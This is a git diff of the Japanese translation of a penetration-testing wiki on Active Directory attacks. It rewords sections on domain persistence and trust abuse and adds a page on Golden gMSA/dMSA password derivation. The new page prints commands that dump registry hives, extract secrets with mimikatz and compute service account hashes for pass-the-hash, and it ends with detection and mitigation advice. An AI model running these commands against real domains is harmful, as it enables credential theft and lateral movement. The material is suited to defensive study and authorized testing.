+すべての**ドメインコントローラー(DC)**内には、**ローカル管理者**アカウントが存在します。このようなマシンで管理者権限を取得することで、**mimikatz**を使用してローカル管理者のハッシュを抽出できます。その後、このパスワードを**使用できるようにするためのレジストリ変更**が必要で、ローカル管理者アカウントへのリモートアクセスを可能にします。 {{#ref}} dsrm-credentials.md {{#endref}} -### ACL持続性 +### ACLの永続性 -特定のドメインオブジェクトに対して**特別な権限**を**ユーザー**に与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。 +特定のドメインオブジェクトに対して**特別な権限**を**ユーザー**に与えることで、そのユーザーが**将来的に権限を昇格**させることができるようになります。 {{#ref}} acl-persistence-abuse/ @@ -462,7 +462,7 @@ acl-persistence-abuse/ ### セキュリティ記述子 -**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく、非常に興味深い権限を取得できます。 +**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少しの変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく非常に興味深い権限を取得できます。 {{#ref}} security-descriptors.md @@ -478,8 +478,8 @@ skeleton-key.md ### カスタムSSP -[SSP(セキュリティサポートプロバイダー)についてはこちらで学んでください。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。 +[SSP(セキュリティサポートプロバイダー)についてはここで学べます。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**できます。 {{#ref}} custom-ssp.md @@ -487,16 +487,16 @@ custom-ssp.md ### DCShadow -ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNsなど)を**プッシュ**するために使用しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\ +ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNsなど)を**プッシュ**しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\ 間違ったデータを使用すると、非常に醜いログが表示されることに注意してください。 {{#ref}} dcshadow.md {{#endref}} -### LAPS持続性 +### LAPSの永続性 -以前に、**LAPSパスワードを読むための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**持続性を維持するためにも使用できます**。\ +以前に、**LAPSパスワードを読むための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**永続性を維持するためにも使用できます**。\ 確認してください: {{#ref}} @@ -515,45 +515,45 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま **手順**: -1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラー(DC1)**から**チケット授与チケット(TGT)**を要求するプロセスを開始します。 +1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラー(DC1)**から**チケットグラントチケット(TGT)**を要求するプロセスを開始します。 2. クライアントが正常に認証されると、DC1は新しいTGTを発行します。 -3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。 +3. クライアントは次に、**ドメイン2**のリソースにアクセスするためにDC1から**インターレルムTGT**を要求します。 4. インターレルムTGTは、DC1とDC2の間で共有された**信頼キー**で暗号化されています。 5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラー(DC2)**に持っていきます。 -6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケット授与サービス(TGS)**を発行します。 +6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービス(TGS)**を発行します。 7. 最後に、クライアントはこのTGSをサーバーに提示し、サーバーのアカウントハッシュで暗号化されているため、ドメイン2のサービスにアクセスします。 ### 異なる信頼 -**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ドメインであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。 +**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、一方のドメインが**信頼された**ドメインで、もう一方が**信頼する**ドメインになります。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。 -ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。 +ドメインAがドメインBを信頼している場合、Aは信頼するドメインで、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。 **異なる信頼関係** - **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。 -- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。 -- **外部信頼**:これは異なる、無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント]()によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼で接続されていないドメインに対して有効です。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。 -- **ツリー根信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーのルート間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド]()で確認できます。 +- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で設立され、紹介プロセスを迅速化します。複雑なフォレストでは、認証紹介は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。 +- **外部信頼**:これは異なる、無関係なドメイン間で設定され、性質上非推移的です。[Microsoftのドキュメント]()によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために役立ちます。これは、フォレスト信頼によって接続されていないドメインです。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。 +- **ツリー根信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーの根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要で、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド]()で確認できます。 - **フォレスト信頼**:このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを施します。 - **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。 #### **信頼関係の他の違い** -- 信頼関係は**推移的**(AがBを信頼し、BがCを信頼すれば、AがCを信頼する)または**非推移的**であることができます。 +- 信頼関係は**推移的**(AがBを信頼し、BがCを信頼する場合、AはCを信頼する)または**非推移的**であることができます。 - 信頼関係は**双方向信頼**(両方が互いに信頼する)または**一方向信頼**(一方だけが他方を信頼する)として設定できます。 ### 攻撃パス -1. **信頼関係を列挙**する -2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいることによって、**ドメイン間の関係**を探します(このために信頼が作成された可能性があります)。 +1. **信頼関係を列挙**します。 +2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいるかもしれません。**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。 1. この場合、kerberoastが別のオプションになる可能性があります。 -3. **アカウントを侵害**し、ドメインを**ピボット**します。 +3. **アカウントを侵害**し、ドメインを通じて**ピボット**します。 攻撃者は、他のドメインのリソースにアクセスするために、主に3つのメカニズムを使用できます: -- **ローカルグループメンバーシップ**:プリンシパルは、サーバーの「Administrators」グループなどのマシンのローカルグループに追加されることがあり、そのマシンに対して重要な制御を与えます。 -- **外国ドメイングループメンバーシップ**:プリンシパルは、外国ドメイン内のグループのメンバーでもあります。ただし、この方法の効果は信頼の性質とグループの範囲に依存します。 +- **ローカルグループメンバーシップ**:プリンシパルは、サーバーの「Administrators」グループなど、マシン上のローカルグループに追加されることがあります。これにより、そのマシンに対して重要な制御が与えられます。 +- **外国ドメイングループメンバーシップ**:プリンシパルは、外国ドメイン内のグループのメンバーでもあります。ただし、この方法の効果は、信頼の性質とグループの範囲に依存します。 - **アクセス制御リスト(ACL)**:プリンシパルは、特定のリソースへのアクセスを提供する**ACL**内の**ACE**のエンティティとして指定されることがあります。ACL、DACL、およびACEのメカニズムに深く入りたい方には、ホワイトペーパー「[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)」が貴重なリソースです。 ### 外部ユーザー/グループの権限を見つける @@ -618,25 +618,31 @@ Configuration Naming Context (NC) がどのように悪用されるかを理解 Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。 -詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。 +詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます。 **フォレスト内の任意のgMSAを妥協する** 攻撃ベクトルには、ドメイン内の特権gMSAをターゲットにすることが含まれます。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。 -詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で見つけることができます。 +詳細な分析とステップバイステップのガイダンスは次の場所で見つけることができます: + +{{#ref}} +golden-dmsa-gmsa.md +{{#endref}} + +追加の外部研究: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)。 **スキーマ変更攻撃** この方法は、新しい特権ADオブジェクトの作成を待つ忍耐が必要です。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。 -さらなる情報は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。 +さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。 -**ADCS ESC5を使用してDAからEAへ** +**DAからEAへのADCS ESC5** ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵基盤 (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。 -この件に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持っており、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。 +これに関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。 ### 外部フォレストドメイン - 一方向(インバウンド)または双方向 ```bash @@ -649,7 +655,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります。 +このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります: {{#ref}} external-forest-domain-oneway-inbound.md @@ -669,7 +675,7 @@ WhenChanged : 2/19/2021 10:15:24 PM ``` このシナリオでは、**あなたのドメイン**が**異なるドメイン**のプリンシパルに**特権**を**信頼**しています。 -しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼するドメインのユーザーにアクセスして信頼されたドメインに入る**ことが可能であり、それを列挙し、さらに特権を昇格させることを試みることを意味します: +しかし、**ドメインが信頼される**と、信頼されたドメインは**予測可能な名前**の**ユーザーを作成**し、**信頼されたパスワード**を**パスワード**として使用します。これは、**信頼するドメインのユーザーにアクセスして信頼されたドメインに入る**ことが可能であり、それを列挙してさらに特権を昇格させることができることを意味します: {{#ref}} external-forest-domain-one-way-outbound.md @@ -677,8 +683,8 @@ external-forest-domain-one-way-outbound.md 信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。 -信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**することができます。\ -さらに、**被害者がハードドライブをマウントしている場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存することができます。この技術は**RDPInception**と呼ばれています。 +信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。次に、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\ +さらに、**被害者がハードドライブをマウントしている場合**、攻撃者は**RDPセッション**プロセスから**ハードドライブのスタートアップフォルダー**に**バックドア**を保存できます。この技術は**RDPInception**と呼ばれています。 {{#ref}} rdp-sessions-abuse.md @@ -689,7 +695,7 @@ rdp-sessions-abuse.md ### **SIDフィルタリング:** - SID履歴属性を利用した攻撃のリスクは、すべてのインターフォレスト信頼でデフォルトで有効になっているSIDフィルタリングによって軽減されます。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。 -- しかし、注意が必要です:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。 +- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。 ### **選択的認証:** @@ -710,26 +716,26 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move ### **資格情報保護のための防御策** -- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインを許可し、他のホストでの使用を避けることが推奨されます。 +- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインできるようにし、他のホストでの使用を避けることが推奨されます。 - **サービスアカウントの特権**:サービスはドメイン管理者(DA)特権で実行されるべきではなく、セキュリティを維持する必要があります。 -- **一時的特権制限**:DA特権を必要とするタスクの期間は制限するべきです。これは次のように実現できます:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **一時的特権制限**:DA特権を必要とするタスクの期間は制限する必要があります。これは次のように実現できます:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **欺瞞技術の実装** -- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータを設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。 -- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で見つけることができます。 +- 欺瞞を実装するには、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定します。具体的なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。 +- 実用的な例として、次のようなツールを使用します:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で確認できます。 ### **欺瞞の特定** - **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、稀なログオン、作成日、低い不正パスワードカウントが含まれます。 -- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにすることができます。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。 +- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致が明らかになることがあります。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、そのような欺瞞を特定するのに役立ちます。 ### **検出システムの回避** - **Microsoft ATA検出回避**: -- **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避け、ATA検出を防ぎます。 -- **チケットの偽装**:チケット作成に**aes**キーを利用することで、NTLMにダウングレードせずに検出を回避します。 +- **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避けてATA検出を防ぎます。 +- **チケットの偽装**:**aes**キーを使用してチケットを作成することで、NTLMにダウングレードせずに検出を回避します。 - **DCSync攻撃**:ATA検出を避けるために、非ドメインコントローラーから実行することが推奨されます。ドメインコントローラーから直接実行するとアラートがトリガーされます。 ## 参考文献 diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md new file mode 100644 index 000000000..0bc1e85f7 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -0,0 +1,113 @@ +# Golden gMSA/dMSA攻撃(管理サービスアカウントパスワードのオフライン導出) + +{{#include ../../banners/hacktricks-training.md}} + +## 概要 + +Windows管理サービスアカウント(MSA)は、パスワードを手動で管理することなくサービスを実行するために設計された特別なプリンシパルです。 +主に2つのバリエーションがあります: + +1. **gMSA** – グループ管理サービスアカウント – `msDS-GroupMSAMembership`属性で承認された複数のホストで使用できます。 +2. **dMSA** – 委任管理サービスアカウント – gMSAの(プレビュー)後継で、同じ暗号技術に依存しながら、より細かい委任シナリオを可能にします。 + +両方のバリエーションにおいて、**パスワードは**通常のNTハッシュのように各ドメインコントローラー(DC)に**保存されません**。代わりに、各DCは以下から現在のパスワードを**導出**できます: + +* フォレスト全体の**KDSルートキー**(`KRBTGT\KDS`) – ランダムに生成されたGUID名の秘密で、`CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`コンテナの下にあるすべてのDCに複製されます。 +* 対象アカウントの**SID**。 +* `msDS-ManagedPasswordId`属性に見つかるアカウントごとの**ManagedPasswordID**(GUID)。 + +導出は次のようになります:`AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 最終的に**base64エンコード**され、`msDS-ManagedPassword`属性に保存される240バイトのブロブ。 +通常のパスワード使用中はKerberosトラフィックやドメインの相互作用は必要なく、メンバーホストは3つの入力を知っている限り、ローカルでパスワードを導出します。 + +## Golden gMSA / Golden dMSA攻撃 + +攻撃者がすべての3つの入力を**オフライン**で取得できれば、**フォレスト内の任意のgMSA/dMSAの**有効な現在および将来のパスワードを計算でき、再度DCに触れることなく、以下を回避できます: + +* Kerberosの事前認証 / チケット要求ログ +* LDAP読み取り監査 +* パスワード変更間隔(事前に計算できます) + +これはサービスアカウントの*ゴールデンチケット*に類似しています。 + +### 前提条件 + +1. **1つのDC**(またはエンタープライズ管理者)の**フォレストレベルの侵害**。`SYSTEM`アクセスで十分です。 +2. サービスアカウントを列挙する能力(LDAP読み取り / RIDブルートフォース)。 +3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA)または同等のコードを実行するための.NET ≥ 4.7.2 x64ワークステーション。 + +### フェーズ1 – KDSルートキーの抽出 + +任意のDCからダンプ(ボリュームシャドウコピー / 生のSAM+SECURITYハイブまたはリモートシークレット): +```cmd +reg save HKLM\SECURITY security.hive +reg save HKLM\SYSTEM system.hive + +# With mimikatz on the DC / offline +mimikatz # lsadump::secrets +mimikatz # lsadump::trust /patch # shows KDS root keys too +``` +`RootKey`(GUID名)とラベル付けされたbase64文字列は、後のステップで必要です。 + +### フェーズ2 – gMSA/dMSAオブジェクトの列挙 + +少なくとも`sAMAccountName`、`objectSid`、および`msDS-ManagedPasswordId`を取得します: +```powershell +# Authenticated or anonymous depending on ACLs +Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ +Select sAMAccountName,objectSid,msDS-ManagedPasswordId +``` +[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) はヘルパーモードを実装しています: +```powershell +# LDAP enumeration (kerberos / simple bind) +GoldendMSA.exe info -d example.local -m ldap + +# RID brute force if anonymous binds are blocked +GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd +``` +### フェーズ 3 – ManagedPasswordID を推測 / 発見する(欠如している場合) + +一部のデプロイメントでは、`msDS-ManagedPasswordId` を ACL 保護された読み取りから *除去* します。 +GUID は 128 ビットであるため、単純なブルートフォースは実行不可能ですが: + +1. 最初の **32 ビット = アカウント作成の Unix エポック時間**(分単位の解像度)。 +2. 続いて 96 ビットのランダムなビット。 + +したがって、**アカウントごとの狭い単語リスト**(± 数時間)は現実的です。 +```powershell +GoldendMSA.exe wordlist -s -d example.local -f example.local -k +``` +ツールは候補パスワードを計算し、それらのbase64ブロブを実際の`msDS-ManagedPassword`属性と比較します – 一致が正しいGUIDを明らかにします。 + +### フェーズ 4 – オフラインパスワード計算と変換 + +ManagedPasswordIDが知られると、有効なパスワードは1コマンドの距離にあります: +```powershell +# derive base64 password +GoldendMSA.exe compute -s -k -d example.local -m + +# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket +GoldendMSA.exe convert -d example.local -u svc_web$ -p +``` +結果として得られたハッシュは、**mimikatz**(`sekurlsa::pth`)や**Rubeus**を使用してKerberosの悪用に注入でき、ステルスな**横移動**と**持続性**を可能にします。 + +## 検出と緩和 + +* **DCバックアップおよびレジストリハイブの読み取り**機能をTier-0管理者に制限します。 +* DCでの**ディレクトリサービス復元モード(DSRM)**または**ボリュームシャドウコピー**の作成を監視します。 +* `CN=Master Root Keys,…`およびサービスアカウントの`userAccountControl`フラグの読み取り/変更を監査します。 +* 異常な**base64パスワードの書き込み**や、ホスト間での突然のサービスパスワードの再利用を検出します。 +* Tier-0の隔離が不可能な場合、高特権gMSAを**クラシックサービスアカウント**に変換し、定期的なランダムローテーションを行うことを検討します。 + +## ツール + +* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – このページで使用される参照実装。 +* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`、`sekurlsa::pth`、`kerberos::ptt`。 +* [`Rubeus`](https://github.com/GhostPack/Rubeus) – 派生AESキーを使用したパス・ザ・チケット。 + +## 参考文献 + +- [Golden dMSA – 委任された管理サービスアカウントの認証バイパス](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) +- [Semperis/GoldenDMSA GitHubリポジトリ](https://github.com/Semperis/GoldenDMSA) +- [Improsec – Golden gMSA信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) + +{{#include ../../banners/hacktricks-training.md}}